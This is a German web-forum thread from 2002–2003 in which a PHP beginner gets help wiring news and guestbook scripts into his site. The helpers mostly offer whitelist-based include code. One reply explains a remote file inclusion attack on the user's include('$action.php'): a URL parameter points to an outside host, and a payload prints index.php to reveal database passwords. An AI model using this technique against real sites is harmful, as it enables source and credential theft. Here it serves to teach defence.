PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : News und Gästebuch



-Sensemann-
18-09-2002, 22:30
hi,

ich wollte mal fragen wo ich ein kostenloses newsscript (wo ich news nachbearbeiten kann)
und gästebuch finde...wo ich auch noch adminkommentare einsetzten kann.

bzw...es kann auch ein gäste buch ohne sql sein..also auf textfiles basierend....

phpadmin soll sowas bieten und wo finde ich mehr?

JoelH
19-09-2002, 11:28
www.dynamic-webpages.de
www.hotscripts.com
www.hotscripts.de
www.phpwelt.de
www.php-archiv.de
http://sourceforge.net
www.freshmeat.net
usw.

-Sensemann-
19-09-2002, 13:30
wenn wir schon bei m thema sind was ist phpadmin? weil irgendwie blick ich da nicht durch

tocotac
19-09-2002, 18:18
mit phpmyadmin kann man mysqldatenbanken anlegen / verwalten / löschen / ...

-Sensemann-
20-04-2003, 16:41
nun aber noch ein kleines Problem. Ich hatte zwar Datenbanken in der Schule und eine relativ gute Note dadrin. Leider haben wir nur mit Access gearbeitet weswegen ich von der Oberfläche Augenkrebs hab :ugly:

und weniger das Prinzip verstanden hab weswegen das nun so ist.

www.powie.de

da habe ich mir dann die pnews gezogen.

Gaert
21-04-2003, 00:14
Hallo!


Leider haben wir nur mit Access gearbeitet weswegen ich von der Oberfläche Augenkrebs hab :ugly:
Von welcher Oberfläche hast du denn nun Augenkrebs?
phpMyAdmin und Access bieten eigentlich beide sehr simple (klicki klicki) und intuitive Möglichkeiten Tabellen und Felder in einer Datenbank anzulegen.

Vielleicht solltest du deine Frage ein wenig besser spezifizieren, dann können wir auch besser helfen (was ist weswegen wie???).

-Sensemann-
21-04-2003, 10:51
zb.

Wenn ich mittels phpmyadmin eine tabelle erstelle wie muss sie aussehen ?

also wie groß, integer?
welche anderen einstellungen. wieviele zeilen usw.

Gaert
21-04-2003, 12:13
Das kommt darauf an, für was du sie brauchst ;) .

Falls es nur darum geht die Tabellen für die Skripte von Powie zu erstellen - powie liefert soviel ich weis SQL Skripte mit, die du einfach im phpMyAdmin ausführen musst.


also wie groß, integer?
welche anderen einstellungen.
Wie gesagt... was willst du tun?
Du legst bei MySQL normalerweise eine Tabelle an, vergibst einer Spalte die Eigenschaften Primary Key, Auto Increment, Unique und als Datentyp Integer und füllst den Rest mit Spalten die deine Daten halten sollen. Am besten du schaust mal ins MySQL Manual (http://www.mysql.com/doc/de/index.html) und dort speziell ins Kapitel 4, oder du schaust dir einfach mal die Zahlreichen SQL / MySQL Tutorials an, die es im Netz gibt (über google suchen).

wieviele zeilen usw.
... die Zeilenanzahl wird nicht vordefiniert ;) - wirf nochmal einen Blick in die Unterlagen aus der Schule, Stichwort Relationales Datenmodell

-Sensemann-
21-04-2003, 14:05
hallo Gaert,

danke für diesen Link :)

Bin gerade dabei den text zu konsumieren ^^

<= bin weiterlesen

-Sensemann-
21-04-2003, 19:28
Table 'noxville01_de_db.pnews_news' doesn't exist

so sieht meine Config aus..

Gaert
21-04-2003, 21:34
Tips:

Wurde die Tabelle denn angelegt?
Gibt es ein Installationsskript?
Gibt es SQL Skripte die du ausführen musst?
Hast du alle readmes relesen?
Mach mal bei
$tabpref= " ";
das Leerzeichen raus...

-Sensemann-
22-04-2003, 19:57
hat sich geklärt

-Sensemann-
22-04-2003, 20:29
http://www.pscript.de/?seite=inews



$database Der Name ihrer Datenbank auf dem mySQL Server
$sqlhost Der Hostname auf dem die mySQL Datenbank läuft. Meistens : "localhost"
$sqluser Der Username für die Datenbank
$sqlpass Das Passwort für die Datenbank. Keine Angst sieht der Besucher der News-Seite nicht !
$tab_news Tabellenname für die News
$tab_newskom Tabellenname für die Kommentare
$tab_newsuser Tabellenname für die User
$c_header Farbangabe in der Form #RRGGBB für den Tabellenkopf
$c_left Farbangabe in der Form #RRGGBB für die linke Tabellenspalte
$c_right Farbangabe in der Form #RRGGBB für die rechte Tabellenspalte
$zps News die insgesamt angezeigt werden.
$viewticker Wenn dies auf 1 gesetzt wird erscheint der Ticker oberhalb der News !
$tickerframe In diesen Frame linkt der Ticker, es kann _blank, _self, _parent etc. verwendet werden
$tickerwidth Breite des News-Tickers in Pixeln !
$headlines Anzahl der Headlines die mit dem Script "headlines.php3" angezeigt werden !
$headlinesframe FRAME auf den die Links aus den den HeadLines linken (_top, _blank, ...)
$scripturl Die komplette URL zum Script, bitte keine / am Ende ! (http://www.deineurl.de/pfad)
$time_offset Zum Anpassen der Zeit, 3600 pro Stunde
$notifyemail Neue Posts die erst freigeschalten werden müssen, werden an diese Email Adresse gemeldet
$allowsubmit wenn auf 1 gestellt können Besucher News einsenden. Diese müssen dann von einem Moderator freigeschalten werden.
$archivnews Hier kann eine Zeit in Tagen eingestellt werden , nach welcher News automatisch gelöscht werden sollen. MIN = 30 Tage

-Sensemann-
23-04-2003, 20:27
najaa kann die tabelle momentan nicht mehr erreichen. :(

mal schaun wann tripod sie wieder on bringt.

Schnitz
24-04-2003, 08:47
ich würd mir sowas selber schreiben, da hast du einfach mehr davon..und wenn du es mit PHP schreibst und eine mySQL Datenbank verwendest geht das auch recht schnell

mfg
schnitz

-Sensemann-
01-05-2003, 10:06
so powies script funktionieren tadellos ...es gibt nur ein Problem sie lassen sich nicht in die Seite einbinden.

So baut er framelose Seiten

http://www.pscript.de/art/artikel.php?id=2

so:

baue ich framelose Seiten.

<?

if($action == "")

{

$action = "news";

}



include("$action.php");

if($action=="gb" or $action=="view" or $action=="new" or $action=="edit" or $edit=="yes" or $action=="help") {
include("gast.php");
}


?>

-----

und deswegen kann ich das script nicht gebrauchen btw. welche Script variante nutzt ihr ?

Gaert
01-05-2003, 17:26
Hallo!

Dürfte ich mal die URL dazu haben... ich würd gerne deine Seite hacken :D !

Das was du da treibst ist sehr gefährlich - wegen solcher skriptereien hat PHP u.a. einen schlechten Ruf (ich weiss jeder fängt klein an)!

Include NIEMALS (!!!) eine Datei in folgender Art:
include("$action.php");

Folgende Tips:

1. Verwende <?php statt <? wenn du XHTML konforme Webseiten schreiben willst.

2. Schalte register_globals in der PHP ini AUS (!!!) und verwende $_POST $_GET $_REQUEST etc... Gründe findest du tausendfach in diesem Forum

3. Überprüfe ganz genau was in der action Variable steht, bevor du irgendwas includest.



<?php

//Ein Beispiel:

$includes = Array("news", "gb", "home");

if (!in_array($_REQUEST['action'],$indludes)) {
die("Gibt's net!");
}
include($_REQUEST['action'] . ".php");

?>


Alternativ kannst du natürlich auch einen festen Serverpath für deine Includes vergeben um ein wenig mehr sicherheit zu gewährleisten.


include("./includes/".$_REQUEST['action'].".php");


Im übrigen kapier ich immer noch nicht, warum du das Gästebuch nicht verwenden kannst.
Angenommen du rufst das Gästebuch folgendermaßen auf:
index.php?action=gb

Dann musst du sowas in der Art in die gb.php schreiben:


<html>
<header>
<title>Mein Gästebuch!</title>
</header>
<body>
Das ist mein Gästebuch: <br />
<?php
include("powie.php");
?>
</body>
</html>


An Skripten verwende ich nur selbstgeschriebenes... powies Skripte machen vielleicht viel her, sind aber IMHO nicht besonders professionell geschrieben.

Falls du Fragen zu dem was ich geschrieben habe hast, melde dich einfach nochmal.

Gruß,

Gaert

-Sensemann-
01-05-2003, 19:59
oha den Link geb ich dir nun NICHT :P
"
Include NIEMALS (!!!) eine Datei in folgender Art:
include("$action.php");
"

mmh also

dannn lieber dein Beispiel



"
$includes = Array("news", "gb", "home");



if (!in_array($_REQUEST['action'],$indludes)) {

die("Gibt's net!");

}

include($_REQUEST['action'] . ".php");
"


wobei action => me.php , chaos.php oder ähnliches?


das andere war

wie müssen die Links aussehen ?

href="index.php?action=me"

ist ja falsch.

-Sensemann-
01-05-2003, 20:01
http://www.kdec-spratz.de

von dem jenigen hatte ich das script.

Wusste nicht das es gefährlich ist!

wegen dem Gästebuch.

Da hab ich momentan noch ein einfaches mit txt file :)

Gaert
02-05-2003, 11:29
Hallo!

Das Skript von denen scheint nicht ganz so "heiß" zu sein wie deines... wobei ich auch nur den billigsten Trick versucht habe...

Wieso ist index.php?action=me falsch?
Wenn du "me" vorher im includes Array registriert hast sollte es auch funktionieren.

-Sensemann-
02-05-2003, 13:48
so schaut die original index.php aus

und mit deinem script wär ich vor auf jedenfall sicherer ?

-Sensemann-
02-05-2003, 13:49
und was ich letztendlich im browser zu sehen bekomme.

Gaert
02-05-2003, 15:17
Ok.. ok.. ich wusste nicht, dass du das mitten ins HTML baust.

In dem Fall ist ein Abbruch mit die() unschön...

machen wirs stattdessen so:


<?php
$includes = Array("news", "gb", "home","me");

if (!in_array($_REQUEST['action'],$includes)) {
echo "Sorry, aber die Seite existiert nicht!";
}
else {
include($_REQUEST['action'] . ".php");
}
?>


Welche PHP Version verwendest du denn?
Es könnte sein, dass in deiner Version $_REQUEST noch nicht unterstützt wird.
In dem Fall würde ich entweder dringend zum Update raten, oder über $HTTP_GET_VARS['action'] darauf zugreifen.

Um selbst eine Vorstellung davon zu haben will ich mal verraten, warum das andere nicht sicher ist:

Angenommen du includest eine Datei folgendermaßen:
include($action); oder
include($_REQUEST['action'])
und du überprüfst nicht was die action ist, dann könnte man einfach mal statt index.php?action="xyz.php" index.php?action=http://hacker.de/hacker.txt übergeben wodurch der inhalt von hacker.txt inlcudet würde und schaden verursachen könnte...
Ein Beispiel für den Inhalt der hacker.txt wäre:
<?php
echo implode(file("index.php"),"<br>\n");
?>
und schwupps hätte man den Inhalt der index.php auf dem Bildschirm! Dadurch könntest du dann auch ganz leicht an die Datenbankpasswörter kommen, oder den kompletten Webspace löschen, Skripte verändern oder sonstwas tun.

In deinem Fall hätte man genauso vorgehen können, nur hätte man aus hacker.txt hacker.php machen, und die Datei auf einem Server ablegen müssen, der PHP nicht interpretiert.

Das war jetzt "PHP Hacking for beginners!", natürlich gibts noch andere Mittelchen sachen zu manipulieren, aber das wird kompliziert zu erklären.

Was lernen wir daraus?
Stets überprüfen, was von "draussen" reinkommt und saubere Skripte schreiben, sonst können böse Buben dir übel mitspielen.

Dies gilt besonders auch für Sachen, die du mit einem Datenbank Query weiterverarbeitest...

-Sensemann-
02-05-2003, 15:22
arse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /var/www/chaos/index.php on line 46


hab php4 installiert. aus der Debian Stable....


line 46 => include($_REQUEST['action'] . ".php");

Gaert
02-05-2003, 15:47
Hab vergessen den String zuzumachen... ist oben jetzt korrigiert.
Hab keine Ahnung welche Version das ist... schreib dir mal ein Skript mit:


<?php
phpinfo();
?>

-Sensemann-
02-05-2003, 16:24
PHP Version 4.1.2

System Linux lachesis 2.2.20-ideraid #1 SMP Thu Mar 7 04:47:27 MST 2002 i686 unknown
Build Date Sep 19 2002
Configure Command '../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs' '--with-regex=php' '--with-config-file-path=/etc/php4/apache' '--disable-rpath' '--disable-debug' '--enable-memory-limit' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db2' '--with-iconv' '--with-ndbm' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets' '--enable-wddx' '--with-xml=/usr' '--with-expat-dir=/usr' '--enable-yp' '--with-zlib' '--without-pgsql' '--disable-static' '--with-layout=GNU' '--with-curl=shared,/usr' '--with-dom=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr' '--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6' '--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr' '--with-imap=shared,/usr' '--with-ldap=shared,/usr' '--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mm' '--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr' '--with-recode=shared,/usr' '--enable-xslt' '--with-xslt-sablot=shared,/usr' '--with-snmp=shared' '--enable-ucd-snmp-hack' '--with-sybase-ct=shared,/usr' '--with-ttf=shared,/usr' '--with-t1lib=shared,/usr'
Server API Apache
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php4/apache/php.ini
ZEND_DEBUG disabled
Thread Safety disabled

-Sensemann-
02-05-2003, 16:27
danke dir das Script funktionier nun :)

und es ist nun sicherer?

weil du meintest mit ?action sollte man sehr vorsichtig sein.

-Sensemann-
02-05-2003, 16:42
sooooooooo

jetzt hab ich von meiner hp erstmal die ganzen index.php entfernt.

die werd ich dann durch die neuen ersetzen.

-Sensemann-
02-05-2003, 17:28
jeztt noch mal zum script.

Im Arrey steht alles das drin was erlaubt ist.

Wenn etwas nicht erlaubt ist, kann es nicht included werden.

?

Gaert
02-05-2003, 21:04
Ja, das ist korrekt.

Nur der action Wert mit einem der Werte im Array übereinstimmt wird etwas inlcuded, alles andere wird mit der Fehlerausgabe quittiert.

-Sensemann-
02-05-2003, 21:48
andererseits heisst das auch wieder ein wenig mehr Arbeit wenn ich für jede datei einen Array eintrag mache.

das dient dann aber wiederrum zum schutz :D

-JeDi-
03-05-2003, 11:04
ich selbst, wenn ich mit includes der mainpages arbeiten würde, würde folgendes machen:



include('./'.$_GET['view'].'.php');


so verbietet man den Zugriff per HTTP, weil './' die Datei im lokalen Verzeichnis erzwingt!

Generell würde ich mit sowas nicht arbeiten, denn z.B. in_array() beruht nicht auf nem binären vergleich, sodass man da auch SIcherheitslücken finden kann! Ich würde generell meine Daten auf mehrere Dateien verteilen (ist übersichtlicher) und mit ner zu includieren header und footer Dateien arbeiten, d.h. dateien die vor dem Inhalt und nach dem Inhalt eingebunden werden. So kann beispielsweise im header der aufbau einer Tabelle erfolgen, die navigation ausgegeben werden, in der eigentlichen Datei (z.B. 'news.php'), dann einfach der Inhalt ohne irgendwelche Dinge, die man beachten müsste (Tabellen aufbau, ende..), ausgegeben werden und dann einfach in der Footer.php die zeile/Spalte der Tabelle zumachen und einfach den restlichen (statischen) Inhalt der Site ausgeben.

Gaert
03-05-2003, 11:12
Hallo!


so verbietet man den Zugriff per HTTP, weil './' die Datei im lokalen Verzeichnis erzwingt!

Das stimmt, allerdings hat man immer noch ein Problem, wenn der Hacker auf dem selben Server einen Account hat.
in_array() vergleicht nicht binär, aber darum gings ja nicht... eine Sicherheitslücke in dieser Richtung würde mich interessieren.
Gegen die sonstigen Sachen ist nichts zu sagen, ich wollte hier aber mal den Sicherheitsaspekt rausstellen.

-Sensemann-
03-05-2003, 12:26
if ($showpage == "") {
header ("Location: http://www.deinedomain.de");
}

else {
require("/pfad/zur/kopf.php");
require("$_SERVER[DOCUMENT_ROOT]/$showpage");
require("/pfad/zur/fuss.php");
}
?>


in etwa so ?

Gaert
03-05-2003, 14:34
So funktioniert es, wenn der Server richtig konfiguriert ist... in manchen Fällen ist er das nicht!

Schöner ist übrigens:
require($_SERVER['DOCUMENT_ROOT']."/$showpage");

-Sensemann-
03-05-2003, 14:45
das heisst ich hab

1.) eine Kopf.php
2.) eine Fuss.php
3.) Inhalt
4.) index.php (das script)

und in den jeweiligen Kopf => Fuss Seiten befindet sich der html kram?

naja das wird wieder arbeit :(

-Sensemann-
03-05-2003, 15:48
wenn ich mich nicht irre ist das dann 1 Tabelle realisiert über colspan3?

Gaert
03-05-2003, 16:44
Es ist vollkommen wurscht wie du das realisierst...

In kopf.php steht dann z.B.
<html>
<head>
<title>Meine Seite</title>
</head>
<body>

und in fuß.php z.B.
</body>
</html>

Was du da sonst noch reinschreibst ist dir überlassen...

-JeDi-
04-05-2003, 00:27
@Gaert: Dann probier das hier mal aus! wird dich vielleicht intresseren!



<?php

if(TRUE === in_array('0410', array('41E1')))
{
echo 'Bei einem in_array Vergleich ist der String "41E1" das gleiche wie der String "0410";
}

?>


Aber ich denke wirklich, dass jeder mit verschiedenen, einzelnen Dateien besser beraten ist! Mir selbst persönlich gefällt es mitlerweile um einiges besser und jegliche ausnutzung von Sicherheitslücken entfallen wohl so, oder? (In Hinsicht auf die require/include-Problematik)

-Sensemann-
04-05-2003, 18:15
jetzt bringt ihr mich durcheinander.

Wo liegt das sicherheits Problem bei
dem script mit

showpage
und deinem
jedi?

-JeDi-
04-05-2003, 19:04
Original geschrieben von -Sensemann-
jetzt bringt ihr mich durcheinander.

Wo liegt das sicherheits Problem bei
dem script mit

showpage
und deinem
jedi?

Ohne Einiges zu beachten (siehe Threadanfang/-mitte) hätte man mit der Methode Sicherheitsprobleme.

-Sensemann-
04-05-2003, 23:22
eine klare anwort

<?php
if ($showpage == "") {
header ("Location: http://www.deinedomain.de");
}

else {
require("/pfad/zur/kopf.php");
require("$_SERVER[DOCUMENT_ROOT]/$showpage");
require("/pfad/zur/fuss.php");
}
?>

hab ich mit dem Script ein Sicherheits Problem? bevor ich die Seite 5-6 um ändere

wäre nett. dann kann ich nämlich beruhigt schlafen :)

jwebworks
05-05-2003, 07:14
Ja, ich hätte noch was.

Von der Verwendung her würde ich

include, anstatt require nehmen.

require bindet die externe Datei auf jeden Fall
ein und führt ihn aus. Auch wenn der Code später
gar nicht verwendet wird. D.h. require macht in einer
if-else Bedingung keinen Sinn.

Auch wenn der Code hier immer ausgeführt werden
soll. Du kannst ja auch das "else" weglassen.

Ach ja, der Einfachheit und Programmiersicherheit
halber würde ich noch das require durch ein require_once
austauschen. (oder include_once)

cu, stop.h

-Sensemann-
06-05-2003, 12:29
danke für den Hinweis :)

-Sensemann-
08-05-2003, 00:06
so nur leider zeigt mir QUantas nur ein Graues Script an.

Weswegen hier

<?php
if ($showpage == "") {
header ("Location: http://www.deinedomain.de");
}

else {
require("/pfad/zur/kopf.php");
require("$_SERVER[DOCUMENT_ROOT]/$showpage");
require("/pfad/zur/fuss.php");
}
?>

ein Fehler drin sein soll.

jwebworks
08-05-2003, 05:52
Probiers mal so.


include_once( $_SERVER["DOCUMENT_ROOT"] . "/" . $showpage );


und warum benutzt Du $showpage und nicht $REQUEST["showpage"]?
und warum prüfst Du "showpage" nicht darauf, ob sie einen gültigen
wert enthält?

cu, stop.h

-Sensemann-
08-05-2003, 20:57
weil das ein fertiges Script von pscript ist und ich keinerlei php erfahrung im scripten hab. Deswegen.

Gaert
08-05-2003, 22:11
... und ich keinerlei php erfahrung im scripten hab...

Das werden wir ändern :D !

-Sensemann-
09-05-2003, 15:19
Wenn ich versuche die index.php aufzurufen sagt er mir.



Redirection limit for this URL exceeded. unable to laod the requested page. This may be caused by cookies that are blocked.


die cookies nimmt er an und ich habe sie auch schon gelöscht.

-Sensemann-
11-05-2003, 14:39
keiner einer eine idee?

Gaert
11-05-2003, 14:54
Hallo!

Du hast eine header Endlosschleife produziert!

Das liegt daran, dass $showpage nicht gesetzt wird. Verwende $_REQUEST['showpage'] und ändere in deinem Skript
header ("Location: http://www.deinedomain.de");
in
header ("Location: http://www.deinedomain.de/index.php?showpage=index");

-Sensemann-
11-05-2003, 15:07
header ("Location: http://www.deinedomain.de/index.php?showpage=index");

das passt nicht

weil er mir dann "Parse error in Line 9" ausgibt.

Gaert
11-05-2003, 22:10
Poste nochmal das ganze Skript (zur abwechslung in PHP Tags) und sag was in Zeile neun steht.

-Sensemann-
11-05-2003, 22:29
<?php
if ($showpage == "") {
header ("Location: http://sense.oben/chaos2/index.php?showpage=index");

}

else {

require("/pfad/zur/kopf.php");
require("$_SERVER[DOCUMENT_ROOT]/$_REQUEST['showpage'] ");
require("/pfad/zur/fuss.php");
}
?>

-Sensemann-
11-05-2003, 22:31
spalte 4 = header

spalte 9 = require("$_SERVER[DOCUMENT_ROOT]/$_REQUEST['showpage'] ");

-Sensemann-
11-05-2003, 22:35
und das hab ich noch bei pscript gefunden wie man das noch aufbauen kann ?

Gaert
12-05-2003, 00:03
Hallo Sensemann!

Auch wenns hart klingt...

Zuerst: RTFM ! (php.net)
Dann: nachdenken...
Dann: hier posten...

Sorry, hab grad schlechte Laune ;)

Überleg dochmal was dein skript machen soll, und was es tut, und guck selber mal was an Zeile 9 nicht stimmen könnte... (ok, das Problem bei dir ist nicht sofort ersichtlich, aber mit ein wenig Probiererei klappt es und dann stellt sich vielleicht auch ein Lerneffekt ein)

So funktioniert es... Ich verfolge hier einen Weg, der mir persönlich besser gefällt.


<?php
//Hier legen wir fest, wo die Bestandteile deiner Seite liegen...
//$_SERVER['DOCUMENT_ROOT'] funktioniert nämlich nicht immer!
//Sie sollten aber schon irgendwo innerhalb des Document Roots liegen falls
//dein PHP Safe Mode aktiv ist.
$tpl_path = "/var/www/html/templates/";

//Zum 100 ten mal... verwende für alle Variablen, die von "draussen" kommen
//die $_POST, $_GET, $_REQUEST etc. Arrays ( warum? RTFM!!! )

if ($_REQUEST['showpage'] == "") {

//Um auf Vorhin zurück zu kommen... warum bewirkt das wohl ne Endlosschleife?
//header ("Location: http://sense.oben/chaos2");
//... Na?
//Richtig... showpage ist nicht gesetzt, und deshalb ruft sich die Seite
//immer wieder selbst auf, bis der Server die Segel streicht

//Was machen wir stattdessen?
//Wir lassen den quatsch mit dem header und nehmen einfach
//die startseite als template!

$template = "index.tpl";
}
else {
//Andernfalls nehmen wir das was showpage uns bietet!
$template = $_REQUEST['showpage'] . ".tpl";
}

//Wir fragen uns... haben wir überhaupt ein Template mit dem Namen?
if (!file_exists($tpl_path . $template)) {
//Anscheinend nicht... deshalb nehmen wir das error template
$template = "error.tpl";
}

//Und jetzt binden wir alles ein....
require($tpl_path . "head.tpl");
require($tpl_path . $template);
require($tpl_path . "foot.tpl");
}
?>

Wenn ich in die Zip Datei reingucke bekomm ich übrigens agros, weil der Typ der das verzapft hat nicht mal HTML kann!
Mein Tipp: lad nicht so viel schrott von powie runter den du nicht verstehst und der ohnehin minderwertig ist, sondern lies tutorials und die dokumentation, programmiere selber und versuche die fehler die du machst zu verstehen - sonst führt das zu nichts!

Versteh mich nicht falsch... das geht nicht gegen dich... mir reisst nur langsam der Gedultfaden mit diesem Thema (welches wirklich trivial und selbsterklärend ist wenn man mal die doku liest).

-Sensemann-
12-05-2003, 14:17
ok ich gebe zu ich bin nervig. deswegen nochmals vielen dank für deine fast grenzenlose geduld und hilfe :)

hatte es mir gedacht hey es gibt fertige scripte dann kann ich sie zusammenbasteln und meine hp online stellen ohne noch viel dran rumzuscripten. Wie viele ihren Pc nutzen um zu arbeiten und nicht zu konfigurieren.

aber das hat wohl wenig sinn.

Das andere ist. Ich lese ungern online und brauche daher ein Buch. Welches ist da geeignet?

Bei linux = kofler
bei php = php3 für dummies :D ???

elrond
12-05-2003, 16:16
ich arbeite seit etwa 2 jahren mit

"PHP4 Grundlagen und Profiwissen"
Verlag "Hanser"
Autor "Jörg Krause"

und bin damit sehr zufrieden. wenn dort etwas nicht drinsteht gibt's noch das Forum...

Gaert
12-05-2003, 18:01
Hallo!

Das Buch welches elrond angesprochen hat besitze ich auch und kann es sehr empfehlen.
Nimm aber unbedingt die Neuauflage vom Februar 2003, da sich in den letzten zwei Jahren sehr viel getan hat.

jwebworks
13-05-2003, 06:50
Jepp. Benutze das gleiche Buch.
Ist zudem ne spitzen Referenz.

Extra habe ich noch:
"Web Application Development with php4.0"
von "Tobias Ratschiller" und "Till Gerken"
(Gibts auch in Deutsch)

Und als Extra, aber eigentlich überflüssig:
"PHP Graphics Handbook" von "Allan Kent, ..."

Ein neues Buch wird dann erst fällig, wenn es gute
über php5 gibt.

cu, stop.h

-Sensemann-
14-05-2003, 19:00
"PHP4 Grundlagen und Profiwissen"
Verlag "Hanser"
Autor "Jörg Krause"


Preisempfehlung? weil wohne in nem kleinen kaff und trau den Geschäften net :D

Gaert
14-05-2003, 20:40
Hallo!

Die Neuauflage heisst:

"PHP 4. Grundlagen und Profiwissen. Webserver- Programmierung unter Windows und Linux."
Gebundene Ausgabe - 1150 Seiten - Hanser Fachbuch
Erscheinungsdatum: Februar 2003
Auflage: 3. Aufl.
ISBN: 3446222340

Preis ist 49,90 € (das ist es Wert!)

Da das Buch relativ neu ist, wird sich da am Preis nicht viel drehen lassen.
Schau mal bei E-Bay...

-Sensemann-
14-05-2003, 21:46
ach sag doch gleich das es ein Buch ist mit dem man sich seinen Kopf "massieren" kann wenn man nicht weiter kommt :)


danke dir / euch :)

-Sensemann-
12-06-2003, 21:47
Nachdem ich weitgehend meine finanzen und Prioritäten durchgegangen bin..gibt es das noch günstiger? bzw ein anderes Gutes Buch ?

-Sensemann-
17-07-2003, 12:25
Ich hab mich mal ein wenig mit php beschäftigt.

nun kam mir eine Frage auf.

zb. showpage *.tpl ist ja dazu da eine Seite anzuzeigen.

wenn ich jetzt versuche das Gästebuch einzubinden dann findet er es nicht.

ist es daher möglich , ohne die Seite zu gefährden

als 2. if sowas einzufügen?



$includes = Array("news", "gb", "home");


if (!in_array($_REQUEST['action'],$indludes)) {

die("Gibt's net!");

}

include($_REQUEST['action'] . ".php");

Gaert
18-07-2003, 12:45
Gegen ein 2. If spricht nichts, solange du weist was du machst... nun bekomm mal nicht gleich die Security Panic ;)

-Sensemann-
18-07-2003, 20:49
oh doch leider weil unsere internet seiten dauernd gehackt werden :(

Gaert
18-07-2003, 21:36
Ich hab hier noch zwei Links für dich:

http://www.bcss.info/courses/phpdropin/notes/security

http://www.sitepoint.com/article/758/

-Sensemann-
18-07-2003, 21:46
da hab ich noch eine frage. wie erstell ich am besten einen verzeichnis schutz?

über htaccess oder eher über den anbieter?

-Sensemann-
12-08-2003, 05:57
Tja ich melde mich ja eigentlich sehr ungern. nur, ich bekomm das gästebuch nicht zum laufen.

hatte versucht über eine 2. if funktion das gäste buch einzubinden.

:|

oder kennt jemand ein gutes Gästebuch so ähnlich wie das Jonboard?

mfg sense

-Sensemann-
16-10-2003, 11:24
ehrlich gesagt komm ich damit nicht weiter.

zb.

Wenn

if ($action=="gb" or "$action =="view" or $action=="new" or $achtion == "edit" or $edit=="yes" or $action == "help"){
include ("gast.php);
}

abgesehen davon das es so nicht geht. muss ich das also so anpassen das es relativ sicher ist.

da wäre dann zb html verbieten oder ignorieren
sowie php
. mmh.